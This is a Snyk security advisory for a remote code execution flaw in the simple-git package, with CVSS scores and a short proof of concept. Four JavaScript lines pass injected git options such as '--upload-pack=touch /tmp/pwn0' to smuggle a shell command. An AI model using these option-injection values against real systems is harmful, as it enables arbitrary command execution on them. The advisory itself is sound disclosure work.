Remote Code Execution (RCE) Affecting org.webjars.npm:simple-git package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    3.98% (93rd percentile)

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-3252758
  • published 23 Jan 2023
  • disclosed 20 Dec 2022
  • credit Santos Gallegos

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.npm:simple-git is an A light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

PoC

const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);

CVSS Scores

version 3.1
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Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical